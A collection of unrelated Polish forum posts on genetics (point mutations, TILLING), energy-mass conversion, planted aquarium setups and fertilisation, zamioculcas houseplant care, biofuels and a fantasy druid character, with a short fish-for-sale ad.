| Na czym polegają mutacje punktowe?

| Na mutacji dotyczacej 1, lub niewielu nukleotydow.
| Moze to byc delecja (usuniecie), insercja (wstawienie) nukleotydu (-ow)
| a takze odwrocenie ich kolejnosci oraz przeniesienie w inne miejsce
| (translokacja)

| GG

i transwersja czyli zamiana jednego nukleotydu przez inny. Transwersja
metylowanej cytydyny w tymine jest najczesciej spotykana mutacja punktowa.


Chyba sie lekko pomyliles ;-)
Zamiana cytydyny w tymine to tranzycja, nie transwersja.

BTW - tranzycja cytydyny w tymine o ktorej piszesz jest ostatnio
wykorzystywana w metodach reverse genetic. Chemiczna mutageneza (glownie
przy wykorzystaniu EMS powodujacego wlasnie mutacje CT) stala sie podstawa
metody TILLING (Targeting Induced Local Lesions IN Genomes) w genomice
funkcjonalnej roslin. Dobry przeglad w Plant Physiology, June 2000, vol.123,
pp. 439-442
www.plantphysiol.org

pozdrawiam


· 

EHLO ksmx!

[11 Apr 02][Stardate [-30]8292.9] ksmx-All
|   2. Jak zamienić energię w masę, a jak masę w energię?
| Przyszedl mi do glowy jeszcze inny pomysl.
| W pewnym sensie oczywiscie rosliny to robia poprzez wykorzystanie
| zjawiska fotosyntezy.

Niezupełnie.
One raczej przekształcają cząstki masowe z otoczenia na swoje własne :)
Sama zmiana masy adenozyny i reszt fosforanowych po aktywowaniu raczej nie
będzie zauważalna :)


nie zgadzam sie!!!
reakcje ktore zachodza w roslinkach nie sa mozliwe bez energii pochodzacej ze
slonca: ergo zachodzi tu zamiana energii na mase. Oczywiscie nie jest to to
samo co wziasc iles tam fotonow i dostac w wyniku frytki ziemniaczane, ale nikt
tu nie mowi, ze przy kreacji par w zderzeniu jadrowym powstaje mase rozmaitych
rzeczy, na przyklad promieniowanie, tak wiec nie ma wielkiej roznicy ( poza
skomplikowaniem, frytki robi sie baaardzo skomplikowanie, zas zderzabnie
czastej jest bardzo proste...)



reakcje ktore zachodza w roslinkach nie sa mozliwe bez energii pochodzacej ze
slonca: ergo zachodzi tu zamiana energii na mase.


Lavoisiere (sp?) by się nie zgodził: gdy rośliny fotosyntetyzują,
przyrost masy jest tak mały, że w praktyce niemierzalny i "suma
mas substratów równa się sumie mas produktów". Na tej zasadzie
każdą endotermiczną (endoenergetyczną) reakcję chemiczną możnaby
uznać za manifestację zamiany energii na masę.

A zamiana energii na masę, poza kreacją pary e+e- przez foton
i podobnymi procesami, zachodzi też przy syntezie ciężkich pierwiastków
(powyżej żelaza), gdzie masa jądra potomnego jest większa niż suma
mas substratów.

Paweł Góra
Institute of Physics, Jagellonian University, Cracow, Poland
A physical entity does not do what it does because it is what it is,
but is what it is because it does what it does.


ZBIORNIK:
Akwarium ma wymiary 60 x 30 x 30 - 54 litry (netto ok 42)

OŚWIETLENIE:
1x18 - Philips TL-D 965
1x18 - Philips Aquarelle
Pokrywa wyklejona folią lustrzaną.
Czas działania oświetlenie - 10 h (11-21)

NAWOŻENIE:
Nawóz z allegro użytkownika Holender-H1 (Arkadiusz)
Makro - 2,5 ml/dzień, mikro 3,5 ml/dzień
Podmiana wody - 20 litrów co tydzień

CO2:
Butla wysokociśnieniowa 1,5 kg - wężyk doprowadzony do turbiny filtra.
Na noc odłączane.

PODŁOŻE:
Żwirek kwarcowy 2-5mm, żwirek rzeczny 4-10mm.

WODA:
pH 7.0, KH 9, GH 10, NO3 5-10, PO4 0,5-1
Temperatura 23-25*C.
Grzałka 10W

FILTRACJA:
Filtr AquaEl Fan-1 ze standardową gąbką.

ROŚLINY:
Didiplis diandra
Echinodorus 'Rubin'
Heteranthera zosterifolia
Limnophila aquatica
Nymphaea lotus

ZWIERZĘTA:
Gupik >10 sztuk
Kardynałek Chiński - ok 10 sztuk
Kosiarka - 1 sztuka
Krewetka Amano - ok 9 sztuk
Krewetka Babaulti 20-30 sztuk

Aranżacja pewnie nie jest z "górnej półki" ale moze pod wpływem Waszych rad i słów krytyki stanie się lepsza.
Aktualnie zastanawiam sie nad zamianą limnophili na "Heńka" albo Micranthemum umbrosum.

Zapraszam do galerii http://www.butcher.home.pl/cvahoo/

pozdrawiam
cvahoo




· 

mam akwa 240 l i oswietlenie 2x30W rosliny rosly dobrze tylko jakby to napisac tak ciagnely do gory, i byla dluga lodyga a liscie zadziej osadzone tak bym to okreslil. Dotej pory byly swietlowki aquarellka i power-glo . Po zmianie zostawilem powrglo bo jest mlodsza od aquarellki i dodatkowa to OSRAM 30W/965 BIOLUX . Czy dobrze zrobilem ?? Chce jeszcze dodac ze tego osrama w najblizszym czasie zamienie na
"" Świetlówki 'TL'D /90 Graphica Pro charakteryzują się perfekcyjnym oddawaniem kolorów (CRI/Ra=98).
Temperatura barwowa świetlówki to 6500K ""
posiadam rosliny :: cryptokoryny, zabienice, bakope,rotale,lotosa, ludwigie

witam
chciałbym zasięgnąć rady na temat zmiany oświetlenia z dnie na oświetlanie w czasie nocy.
Głównym powodem jest tego oszczędność prądu ponieważ w nocy mam 50% tańszy prąd.
W dzień natomiast chciałbym stworzyć sztuczną noc, w dzień bez zapalonego światła w pokoju jest bardzo ciemno. Nie wiem jednak czy nie będzie zachwiana równowaga biologiczna roślin i ryb.
Akwarium mam 200 litrowe z 150W oświetlenie, CO2 z butli, filtr JBL CP500.
Oświetlać chciałbym ok. od 22 do 6 rano

Udoskonalenie produkcji biopaliw powoduje na pewno, że będzie ona bardziej opłacalna, więc chodzi tu oczywiście o kasę, ale czy o środowisko ? Wątpię. W bodaj lutowym "Science", opublikowane są analizy, które nie robią dobrej prasy biopaliwom ogólnie. Przybywa prac naukowych, wskazujących, że przeznaczanie ziemi pod zasiewy roślin, z których można wyprodukować bioetanol lub biodiesel, jest ślepą uliczką. Dobrze jeśli takie uprawy zakłada się na nieużytkach, ale tych jest mało i coraz częściej pod plantacje roślin energetycznych przeznacza się naturalne ekosystemy: lasy deszczowe, torfowiska czy stepy. Konsekwencją nie jest zmniejszenie, tylko wyraźne nasilenie efektu cieplarnianego. Pierwotna przyroda wychwytuje znacznie więcej dwutlenku węgla, niż możemy zaoszczędzić jeżdżąc na biopaliwie. Nie mówiąc o tym, że gdy likwidujemy naturalną roślinność, za jednym zamachem uwalniamy do atmosfery cały CO2 zmagazynowany w niej i w glebie. Obecnie najwięcej ekosystemów niszczy się w tym celu w Am.Płd. Wyliczenia są miażdżące np: zamiana kawałka Puszczy Amazońskiej na pole soi to "pożyczka", którą oddamy planecie za ...319 lat!
Co do nieużytków to też są wyliczenia, które mówią wyraźnie, że klimat i przyroda więcej zyska gdy po prostu zasadzimy na nich las. W tej sytuacji nasuwa mi się tylko jedno powiedzenie, że "jak się człowiek nie obróci, to zawsze ma d...ę z tyłu"

Witam, mam mały problem, mianowicie:
Wkrótce - zamieniam swoje 112 l akwa na 240l baniak - czyli wszystko od początku.
Zastanawiam się tylko nad przenosinami roślin do nowego środowiska, oświetlenie w nowym baniaku będzie sie znacznie różnić od poprzedniego (i mocą i specyfikacjami) w związku z tym obawiam się trochę o kondycję roślin (zbyt gwałtowna zmiana oświetlenia).
Jakie "procedury" powinienem zachowac przy tych przenosinach?, czy lepszym wyborem byłoby napełnienie 240 baniaka "świeżą" wodą i poczekanie aż dojrzeje? czy też użyć w jakiejś częśći wody z poprzedniego baniaka?.
Generalizując - wątpię żeby napełnienie 240 l wodą, wyrwanie roślin z poprzedniego zbiornika i zasadzenie ich tam i "tyle" było "wporzo", z pewnoscią mieliście doświadczenia z takimi przenosinami, co robić? czego się wystrzec?

Pod te rośliny co masz obecnie wystarczą tabletki z nawozem( sera florena w zupełności wystarczy na początek).
Dużo tańszym i lepszym nawozem pod korzenie są kulki gliniano-torfowe.
Nie chcę przebudowywać pokrywy, czy zamiana zwykłych świetlówek na inne da lepszy efekt?
Poczytaj na Forum na temat zbiorników LT (Low Tech), możesz taki zrobić u siebie, będziesz niestety musiał parę rzeczy zmienić w zbiorniku. Przede wszystkim podłoże.
Świetlówki proponuje wymianę obecnych na Philips Aquarelle + Philips Master 865.


Nie lubię miast i zgiełku, ponad wszystko kocham przyrodę i wszystko co z nią związane...

Druid to osoba zajmująca się naturą, druid potrafi porozumiewać się ze zwierzętami, przez co te go słuchają. Druidzi często mają chowańców w postaci czworonogów takich jak wilki lub ptaków - jak orły. Zwierzaki te pomagają im w odnajdywaniu się w puszczach.

Druid ma dodatkowe umiejętności dla swojego chowańca i siebie (Do wybranie maksymalnie trzy)
>Wysłanie na zwiad
>Wysłanie na polowanie
>Pilnowanie, warowanie
>Rozmowa z zwierzęciem (Zwykły - Pojedyncze słowa, Uczony - proste zdania, Twórca - zdania złożone, trudne słowa, Mistrz - zdania wielokrotnie złożone, kwiecista mowa)
>Wstąpienie w zwierzę
>Rozmowa z roślinami (Zwykły - Pojedyncze słowa, Uczony - proste zdania, Twórca - zdania złożone, trudne słowa, Mistrz - zdania wielokrotnie złożone, kwiecista mowa)
>Zamiana ciał z chowańcem (Zwykły - 30min, Uczony - 1h, twórca 2h, Mistrz 4h)
>Wyostrzone zmysły (Zwykły - 1 zmysł, uczony - 2, Twórca - 3, Mistrz - 4)

To kolejna roślina, którą hoduję w domu, a którą warto polecić.
Zamiokulkas należy do rodziny obrazkowatych (Araceae - mojej ulubionej). Można powiedzieć, że jest to roślina bez wymagań.

Rośnie dobrze w każdych warunkach, a jedynie nie znosi nadmiernej ilości wody. Można napisać wręcz, że nie znosi codziennego podlewania. W okresie zimowym praktycznie nie podlewa się jej wcale. W okresie wegetacyjnym podlewamy tak, by podłoże było lekko wilgotne, a nie mokre. Bardzo dobrze znosi okresowe przesuszenie.

Dobrze znosi suche powietrze, akurat takie jakie mamy w naszych mieszkaniach. Jest rosliną ciepłolubną i spadek temp. poniżej 5°C może spowodować jej obumarcie. Doskonale jednak znosi spadki temperatury do 10°C.

Najlepiej rośnie w podłożu stanowiącym mieszankę substratu torfowego i piasku. Konieczny drenaż na dole doniczki. Młode rośliny przesadza się co roku.

Rozmnażanie bardzo proste. Można z nasion, ale trudno je zdobyć. Można prościej przez podział rośliny, albo poprzez ukorzenienie sadzonek liściowych. Ukorzeniać można w mieszance perlitu z piaskiem, bądź też w samej ziemi (wypróbowałem osobiście).

Chyba wystarczy tej teorii. Pora na zdjęcia mojej rosliny.



Liść z bliska. Wspaniały kolor.


Nowy, tegoroczny liść

Nic, czekać cierpliwie. Umiarkowanie podlewać i cieszyć się rośliną. Czasami po przesadzeniu zamiokulkas potrzebuje sporo czasu nim ruszy z wegetacją. Jeżeli liście wyglądają na zdrowe, to oznacza, że roślinie nic nie dolega.


dziękuje za odpowiedz... mam nadzieje, że się doczekam...
trochę jestem o niego zazdrosna, jak koleżanka pokazała mi swojego zamiokulkasa po roku...

Nie przejmujcie się tym, że zamikulkasy "stoją" w miejscu i nie rosną. One tak mają, to ich reakcja na zmianę miejsca uprawy: najpierw były tam, gdzie je "wyprodukowano", czyli w firmie zajmującej się tymi sprawami. Tam miały pewnie idealne warunki do wzrostu. Potem był szok związany z transportem, potem stały gdzieś w kwiaciarni lub centrum handlowym (a tam bywa już różnie, jeśli chodzi o dogadzanie roślinom). Potem był zakup i kolejny transport - do miejsca przeznaczenia, no i kolejny szok dla roślin. Na koniec - nowe miejsce - czyli dom. Po tylu stresach roślina musi jakoś odreagować, no i dostosować się do nowych warunków. Mój zamiokulkas, kupiony w Tesco, przez dwa lata (!!!) nie urósł ani o centymetr i nie wydał żadnego nowego liścia. W ub. roku się przełamał i wypuścił pierwszy, dość mały liść, a w tym roku, na wiosnę - aż 4 liście. Jeden, najdłuższy, wyłamał się po swoim ciężarem. Zamiokulkasa musiałam w tym roku przesadzić.
Roślina ta nie jest jest ani "żarłokiem", ani "wodożłopem" - czyli trzeba go umiarkowanie podlewać i umiarkowanie, a nawet dość skąpo, podlewać.

Pozdrawiam wszystkich fanów zamiokulkasa.

Witam wszystkich forumowiczów

Jak widzicie jestem "nowy", no ale kiedyś trzeba zacząć.
Chciałbym się z Wami podzielić własnymi spostrzeżeniami na temat uprawy zamiokulkasa.
Zastrzegam z góry, iż są to spostrzeżenia własne, nie poparte lekturą.
Przeglądając ten temat zauważyłem, iż niektórzy forumowicze borykają się z problemami, z którymi ja w pewien sposób zdołałem się uporać (najpopularniejszą metodą: prób i błędów).
Gdy ziemia jest zbyt wilgotna - obfite podlewanie:
1) Liście zamiokalkusa zaczynają się pokładać
2) Wyrastają nowe bardzo wysokie liście, a następnie łamią się u podstawy
3) Liście żółkną, roślina zaczyna obumierać
Gdy zamiokulkas stoi w zbyt ciemnym pomieszczeniu
1) Rzadko wypuszcza nowe liście

Chcąc zapobiegać w/w objawom należy postępować z zamiokulkasem odwrotnie.
Ponadto młode długie łamiące się u podstawy liście można podeprzeć cienkimi patyczkami i przesuszyć ziemię. Przesuszenie wzmocni młode liście i po upływie 2-4 miesięcy powinne stać same bez pomocy patyczka. Zalecam skąpe i sporadyczne podlewanie zamiokulkasa(pół szklanki wody/3 tygodnie).
Pozdrawiam i życzę sukcesów

Twój zamiokulkas prawdopodobnie zareagował tak na przeprowadzkę. Moim zdaniem, należy zostawić go w spokoju i po prostu przeczekać, aż się "odgniewa" za zmianę miejsca. Nie stawiaj go bezpośrednio na słońcu i nie w przeciągu, nie podlewaj zanadto - wodę wlewaj do doniczki tylko wówczas, gdy ziemia z wierzchu będzie sucha. Broń Boże - nie nawoź go ani przypadkiem nie przesadzaj! Okres od połowy października do końca stycznia to najcięższa część roku dla większości roślin doniczkowych i trzeba dać im go po prostu przeczekać w spokoju. Na wiosnę powinien się "przebudzić". Czasem jednak to przystosowanie się do nowych warunków może trwać dłużej. U mnie było tak chyba przez dwa lata...... Niemniej jednak uważnie roślinę obserwuj, bo choć mało prawdopodobne, to jednak mogła coś złapać".

Pozdrawiam

Mój zamiokulkas ma takie dziwne czarne kleksy na łodygach... Czy wy też takie coś macie? A może to jakaś choroba....
[url=http://images34.foto...41m.jpg]Obrazek[/URL]


te czarne plami ka liściach to żadna choroba to jest taka uroda tej rośliny mają je starcze łodygi więc nie masz co się martwić

Liso! Zamia i zamiokulkas to dwie różne rośliny, niespokrewnione nawet ze sobą. Ponadto: u zamiokulkasa nie ma łodyg, są tylko liście na długich ogonkach. Nie wprowadzajmy zamieszania w nazewnictwie, bo w końcu okaże się, że jednym z nas chodzi o zamię, a innym o zamiokulkasa.

Pozdro



Zamiokulkas zamiolistny

Temperatura optymalna dla prawidłowego wzrostu tego gatunku wynosi 22–25°C, ale roślina toleruje także ciep¬lejsze pomieszczenia. Niezbyt dobrze znosi natomiast stałe przeciągi, na które reaguje zrzucaniem liści. Szkodzi jej też bezpośrednie promieniowanie słoneczne, powodujące trwałe, brązowe plamy na liściach. Najkorzystniejsza dla niej jest wystawa wschodnia lub południowo-wschodnia. Pod wpływem jednostronnego oświetlenia liście zamiokulkasa wyginają się już po miesiącu w kierunku światła, zatem w uprawie pokojowej powinno się obracać doniczkę z rośliną.

Zamiokulkas jest sukulentem (ma zdolność do gromadzenia wody), o czym świadczą zgrubiałe ogonki liś¬ciowe i listki, a także bulwiaste kłącze. Dlatego trzeba go oszczędnie podlewać, gdy lekko przeschnie podłoże. Zbyt częste nawadnianie powoduje żółknięcie liści i brązowienie kłączy, które z czasem zaczynają gnić, a porażenie przenosi się na liście . Roślina dobrze znosi niedobór wody w podłożu, zachowując atrakcyjny wygląd, gdy nie podlewa się jej nawet przez 2, 3 miesiące. Później jednak zaczynają zasychać liście.
Wymagania pokarmowe zamiokulkasa są niewielkie. Roślinę wystarczy zasilać nawozami wieloskładnikowymi rozcieńczonymi do połowy lub 1/4 dawki zalecanej dla większości roślin doniczkowych. Zbyt intensywne nawożenie powoduje gnicie kłączy i ogonków liściowych. Większe okazy przesadza się pod koniec lata, kiedy ich kłącza silnie przyrastają.

1
Nie mam Tellerciu miejsca na takie konstrukcje, choć już nad nimi myślałam. Dwa pokoje w bloku, choć duże, nie dają jednak nieograniczonych możliwości Pod jednym oknem stoi narożne biurko (a na nim kwiaty), pod drugim - małżeńskie łoże. Parapety zastawione. Właśnie rozmawiałam z moją mamą - część roślin wywiozę do niej i sama będę przyjeżdżać, aby je podlewać. Taka zamiana - biorę psa, zostawiam kwiaty. Chodzi o to, że mama pracuje w Niemczech, brat wyjechał na studia, a w domu rodzinnym pozostał tylko ojciec, którego również stale nie ma w domu. Psa trzeba koniecznie zabrać. Zafundować mu towarzystwo i długie spacery. Ponadto "Burek" jest przyzwyczajony stale rezydować na balkonie, jest mu smutno, że u mnie na ten balkon nie może wyjść...

1
Pewnie, że doceniamy.
Może masz jeszcze inne kwiaty to poprosimy o fotki.


Fotek by się jeszcze trochę znalazło mam wiele kwiatów w domu. Chociaż przyznaję, dopiero z żoną zaczynamy. Niedawno sie wprowadziliśmy, hodujemy kilkanaście roślin, poprzez paprocie, fiołki ;D, Amarylis, kilka kaktusów. Jest też Zamia, Kroton, Bonzai, Dracena. Podrzucę parę fotek... tylko pytanie gdzie je można publikować, nie wiedziałem działu "wasze kwiaty-foto" a wrzucanie tutaj zdjęć nie ma sensu w końcu to topic o Amarylisie

A hoduje z was ktoś COCOS NUCIFERA - widziałem to w jakimś markecie drogie nie było, więc wziałem. ale jak na razie od dwóch miesięcy nic się nie zmienia, kwiatek jaki był taki jest. Pozwolę sobie wrzucić foto.

Kiedyś udało mi się wyhodować bardzo dużą roślinkę z Ananasa. W sumie łatwe do wyhodowania, wystarczy obciąć czubek i dać do wody

a tu wspomniany wczesniej COCOS NUCIFERA


1
Mam pytanko - w necie znalazlam sprzeczne informacje co do zamioculcasa:
1."W czasie wzrostu obficie podlewamy i spryskujemy."
2." Gatunek ten nie znosi nadmiernego podlewania. Zamiokulkas toleruje natomiast krótkotrwałe okresy przesuszenia"
To jak to jest z tym podlewaniem w okresie takim jak teraz czyli wiosennym?:)

Poza tym: "W okresie wegetacji zasilamy rośliny co 2-3 tygodnie roztworem [b]nawozów wieloskładnikowych zawierających komplet mikroelementów[/b], ponieważ roślina jest wrażliwa na ich brak." Mam nawoz do kwiatow zielonych nazywa sie Pagon, moze byc taki? Czy to wymagajaca roslinka?

1
nawoz rozni sie tym ze ma inne stezenie i rozpuszcza sie bardzo powoli,zeby roslina zuzywala to co jest w roztworze,bo inaczej jak roztwor wysycha to stezenie sie by zwiekszalo i by popalilo korzenie,dlatego nie uzywa sie normalnych nawozow.
Jezeli chodzi o stabilnosc.Mam kilka roslin,w tym dracene i fikusa pumile,rosna swietnie,a stabilne sa poniewaz znajduja sie w ciezkich ceramicnzych osłonkach,a kosze sa tylko niewiele od nich mniejsze.Zamiokulkas na zdjeciu jest w hydroponice ok 1,5 tygodnia i juz dosyc dobrze sie w niej trzymał,dopoki fretka nie dobrala sie do doniczki i go nie wykopała

1
Kilka stron wcześniej w tym wątku któraś z forumowiczek chwali się swoim kwitnącym zamioculcasem. Roślina ta podobno w warunkach domowych kwitnie niezmiernie rzadko, ale jak widać czasami jej się to zdarza.

Ja posiadam zamioculcasa od ok. 1,5 roku. Na początku rósł w oczach i co chwilę wypuszczał nowe gałązki, jednak chyba go przelałam i zaczął gubić liście oraz gałązki się łamały. Przy przesadzaniu wyrzuciłam 3 przegnite bulwy, a do ziemi wsadziłam 2 pozostałe, które jeszcze nie zdąrzyły zgnić. W tej chwili mam tylko jedną gałązkę liściową (śmiesznie to wygląda, ale wciąż mam nadzieję, że może da się odratować moja roślinkę). Ostatnio nawet podkradłam mamie 3 listki, potraktowałam ukorzeniaczem i włożyłam do ziemi, ale nie wiem czy coś z tego będzie.
Tak bardzo chciałabym aby mój zamioculcas odżył....

Ja miałam w domu jednego kwiatka - od teściowej - zamiokulkas zamiolistny (co za durna nazwa), ale koty były nim tak zainteresowane, że w końcu wylądował w garderobie, gdzie właśnie umiera - prawdopodobnie zapadł na nieuleczalną chorobę i będę musiała go wyrzucić

Kwiat podlewa się bardzo rzadko, a rośnie jak wariat.

Artykuł o tej cudownej roślince, która tak szybko podbija ludzkie serca

Niestety w kwestii rośliny do chłodnego pomieszczenia nie doradzę, bo na roślinach znam się raczej słabo

saxony, szeflera lubi duzo jasnego - może nie słońce ale np. na podłodze będzie mogła stać, do sypialni zawsze proponując paprotki różnego rodzaju bo oddają bardzo dużo tlenu a do sypialni bardzo wskazane, ale jak piszesz, że dużo bezpośredniego słońca to trzeba by je często zraszać wodą - ja w sypialni mam 3 ale mam okno od wschodu

myślę, że pomysł z kaktusami co proponuje basia1125, no i może jeszcze zamiokulkas czy jak go tam zwą tez by się nadał - ale to tak jak szeflera jest duża roślina raczej a nie wiem czy chcesz duże zasłaniające okna czy raczej coś małego ozdobnego jak kaktusy albo wszelkiego rodzaju drzewka cytrusowe jak i kawa
o ze słonecznych miejsc może jeszcze juka by się nadała ale ona może szybko rosnąc - tzn ten jej parasol

1
Przypomina mi Sedum album.
Jeśli to on to zdecydowanie nie usuwaj, a nawet rozmnóż. Rojnik biały jest rośliną żywicielską rzadkich gatunków motyli którym grozi wyginięcie jak np. niepylak apollo. Także inne rojniki i rozchodniki ważne są dla łuskoskrzydłych.

Zmiany środowiskowe w naturze są chyba nie do zatrzymania jak np, poniżej cytowane. Pozostają nasze hobbistycznie uprawiane ogródki gdzie wiele z nich może przeżyć.

"Rzadka forma niepylaka - P. apollo ssp. stramburgensis Scala - wyginęła bezpowrotnie w wyniku obsadzenia łąk porośniętych rozchodnikami, lasami górskimi i zamianą wapiennych zboczy w kamieniołomy. W Pol sce jest coraz rzadszym elementem entomofauny łąk górskich, zanika w wyniku zmian środowiskowych i pasji kolekcjonerskiej lepidopterologów"

Zestawienie skalniaków podane przez foxa b. ciekawe ale już jakie Sedum i jakie Sempervivum nie podpisano

Wymiary akwarium 47x44x32 w sumie 66l

Wyposażenie;
- oświetlenie: świetlówka kompaktowa Polux, 24W, 6400K + zwykła żarówka 40W
- filtracja: FILTR WEWNĘTRZNY RESUN P-400L 400L/H 10W
- ogrzewanie: 11W grzałka + to co od żarówek

Podłoże: torf i żwirek biały 3-5 mm (w planach jest zamiana na czarny), piasek

Dekoracje: własnoręcznie spreparowane korzenie

Obsada:
- flora: Strzałka skrzydlasta (Sagittaria subulata) + Moczarka argentyńska (Egeria densa)
- fauna: 1 bojownik i 2 bojowniczki Smile

Parametry wody: nie znam

Karmienie ryb:
- rano Betta (Tropical)
- w południe żywy wodzień
- na godz przed zgaszeniem światła Dafnia (Tropical)

Nawożenie:
- pod korzeniami malutkie kawałki pałeczek nawozowych do roślin kwitnących
- CO2 podawane 24/h z bimbrowni


Obecnie problem z zakwitem wody. Jednocześnie mam trochę okrzemków a w Łodzi nie mogę znaleźć otosków :/

Witam!
Do sprzedania dorosly samiec duboisi kolo 9-10cm. Cena jaka mnie satysfakcjonuje to kolo 20zl, ewentualnie zamiana na pokazny zestaw roslin. Kontakt PW lub GG, odbior osobisty, nie wysylam

Do sprzedania rowniez pokazna ilosc maluszkow Bemby w cenie 8zl za sztuke wielkosc 2,5cm kolo 10-15 sztuk i wiele mniejszych

Kontakt GG 476182 (czesto niewidoczny) lub telefon 665725395, odbior osobisty, nie wysylam
Pozdrawiam!!!!

no fakt..nie umiescilem tej informacji na poczatku....moja osmoza nie chce usuwac no3...wg jackiza, znanego z allegro (sklep czysta woda) osmoza jest glownie do usuwania twardosci...i niechec do usuwania no3 nie jest niczym dziwnym
z kolei inne firmy twierdza co innego...ze powinno mi zostac okolo 5mg/l no3
jedyna opcja, ktora teraz z Pawlem Ciolkiem mamy przeprowadzic, to zamiana na membrany...i zobaczymy co bedzie sie dzialo...
z ww wzgledu wlasnie zaopatrzylem sie w zywice...

dlugo szukalem bledu w nawozeniu, stosowalem rozne podejscia stezenia oswietlewnia i wogole...jednak efekty kiepskie

chodzi glownie o kiepski przyrost...e. acikularis wyglada jak parvula, nana osiaga wysokosc e. acikularis, parvula wogole nie rusza...rosliny sa ciemnozielone, jakies pokrecone...na ada sa slabe przyrosty, pojawil sie meszek i krasnorosty, marne bablowanie...jedynie ricia sie dobrze trzyma i rosnie normalnie

wtedy naszla mnie mysl ze moze to byc duze stezenie jonow chlorkowych wlasnie z wymieniacza jonowego...jednak o przenawozeniu, optymalnych dawkach chloru informacji malo...

stad moj post i prosba o rade

Ja nawożę razem z PG Macro, również ( ze względu na małą obsadę ryb w zbiorniku ) KNO3, być może dodawanie codziennie N a w szczególności K powoduje, że umbrosum się lepiej "czuje".Zaprzestanie dodawania KNO3 lub zamiana go na NH4NO3 powoduje "wybielanie" się roślin.Te rośliny były nawożone PG Macro 6 do 8 ml dziennie na 240 l plus Micro Intermagu bez dodatków. PO4 dochodziło do 1 mg/l.Podwójne bąbelki powietrza odrywały się od roślin co kilka sekund.

Pozdrawiam

Ja nawożę razem z PG Macro, również ( ze względu na małą obsadę ryb w zbiorniku ) KNO3, być może dodawanie codziennie N a w szczególności K powoduje, że umbrosum się lepiej "czuje".Zaprzestanie dodawania KNO3 lub zamiana go na NH4NO3 powoduje "wybielanie" się roślin.

Twoje doświadczenia dowodzą, że to oprócz N, brakuje przede wszystkim potasu, bo saletra amonowa zawierająca dwie formy azotu nie wystarcza.
Sam stosuję obecnie mieszankę KNO3 i NH4NO3, ale oprócz tych związków również KHCO3, możesz z powodzeniem stosować ten związek, tylko nie pomyl i nie kup czasem K2CO3 - porażka Pisaliśmy o tym sporo z Kekonem
Czy próbowałeś zwiększać PGMakro bez podawania innych soli "azotowych"? domyślam się, że rosło wtedy pewnie mocno PO4 do niebezpiecznych granic. Ile obecnie masz PO4?

Pozdrawiam

Ja myślę, że to za długo trwa jak na pierwotniaki...Podsumowując: zdecyduj się na konkretną metodę, jak garbniki to bez węgla i słabsze oświetlenie.Jak węgiel to nie dawaj garbników bo i tak węgiel je zneutralizuje...i wtedy dużo CO2.Węgiel należy wyjąć po uzyskaniu poprawy.Filtr ustaw na delikatny przepływ (fala lub deszczownia).Jak to nie pomoże to pisz...będziemy dalej szukać przyczyny. Ja sama niedawno miałam problem mętnej wody po zbyt wielu zmianach w ustabilizowanym akwa: awaria kubełka i zamiana na wewnętrzny, duża przycinka roślin i nadmierna ilość narybku gupika.Zwiększenie ilości podawanego CO2 oraz redukcja ryb pomogło, natura sama zrobiła resztę.Co2 podawałam sporo bo około 2 bąble /s.Jak rośliny zaczęły intensywnie puszczać tleniki to woda błyskawicznie się wyklarowała...ale to był dosłownie szampan

Panowie, przecież dałem wam gotowca. Na fotkach widać co i jak + opis. Nie wiem co tu jeszcze można wykombinować. Dodam tylko, że bez kolimatorów dużo światła marnuje się "wylatując" poza akwarium. Z soczewkami jest o wiele jaśniej przy dnie lecz wyżej, przy powierzchni są czarne dziury co nie bardzo przeszkadza bo rośliny wyższe - łodygowe i tak się ustawiają jak chcą w poszukiwaniu odpowiedniej ilości światła. Poza tym efekt jest niesamowity - widać takie smugi - snopy bardzo silnego strumienia. W związku z kierunkową charakterystyką świecenia powstaje bajeczny efekt na dnie - każdy cień przepływającej ryby porusza się pod nią co sprawia wrażenie "ruszającego się" dna. Naprawdę, wrażenia wizualne są niesamowite w porównaniu do świetlówek coś jakby HQI ale inaczej.
Ja teraz coraz poważniej zaczynam myśleć nad zamianą tych białych LED na RGB. Oprócz możliwości dobrania odpowiedniej barwy można byłoby przeprogramować sterownik pod kątem automatycznej regulacji temperatury barwowej w cyklu dobowym np. rano dawać więcej zimnej bieli a po południu płynnie dodawać czerwnieni przechodząc w niebieskawy odcień pod wieczór - to byłby dopiero bajer.

Cykl nitryfikacyjny jak wiadomo to zamiana jonow amonowych NH4 w azotynowe NO2, a nastepnie w azotanowe NO3. I na tym sie konczy rola bakterii nitryfikacyjnych. Jony NO3 sa przyswajane przez rosliny. Oczywiscie filtracja biologiczna to nie tylko cykl azotowy. Natomias na obnizenie poziomu NO3 w akwarium mozna liczyc jesli jest odpowiednio duzo roslin (niezle sa szybko rosnace gatunki w rodzaju Hygrophila polisperma, moczarki, nurzance) o zdrowym metabolizmie.
Z dawkowaniem makro na razie bym uwazal, poziomy sa dopuszczalne jeszcze i w zasadzie w tym momencie nie trzeba dokladac makroelementow, ewentualnie w malej ilosci (obserwujac rosliny).
Co do CO2 jesli masz mozliwosc wylaczania na noc i wlaczanie wtedy napowietrzania, to rob tak.
Na siarczany bym uwazal- bylo juz o tym. Jesli dodajesz PG Macro , to nie dodawaj K2SO4, siarczan magnezu ewentualnie mozesz w niewielkiej ilosci.

Stare korzenie w nowej odsłonie.

Po długich bezskutecznych zresztą walkach z zielonym nalotem na dnie,postanowiłem zrobić restart ,wywaliłem do kubła ponad 20kg amazoni zmieszanej z powersandem i wsypałem nowe podłoża w tym ponad 23kg piasku bright sand.Aranż ma być domem dla macmassteri i skalarów peru stąd taka plaża i przestrzeń,skalary to młode 8 miesięczne dzieciaki po dzikusach .

KILKA DANYCH O ZBIORNIKU:
w zasadzie prawie nic się nie zmieniło po za zamianą kubełków z drugiego na pierwszy i dosypaniu medji filtracyjnych.

Zbiornik
90x45x45 OW

Oświetlenie - Aqua Medic Ocean Light Plus
HQI 150W VL 6500K + 24W T5 Arkadia pro plant

Filtracja
Eheim 2215 gabka ,wata polerowana
Tetratec EX 700 - ehfisubstrat ,substrat pro ,podpięte rzędowo,wlewy ADA

Nawożenie
Bright K,Green Bacter,Green Gain,ECA - RO/PGHM ,kranowa

Podłoże
- Bacter 100, Clear Super, Tourmaline BC, Penac W ,Penac P
- Amazonia I 10l
- Bright Sand okolo 23l

Ogrzewanie
Jager 200w

Rośliny
Microsorium Sp,Microsorium narrow,Cryptocoryne wendtii green,blyxa,vallisneria nana, weping moos,Micranthemum umbrosum,Hydrocotyle leucocephala - Eichornia crassipes / Pistia stratiotes / Limnobium laevigatum.

Zwierzęta
Otocinclus affinis, zwinnik jarzeniec,fantom czerwony,Sp.Galaxy, Axelrodia riesei,macmasteri viejita,Skalar Peru.

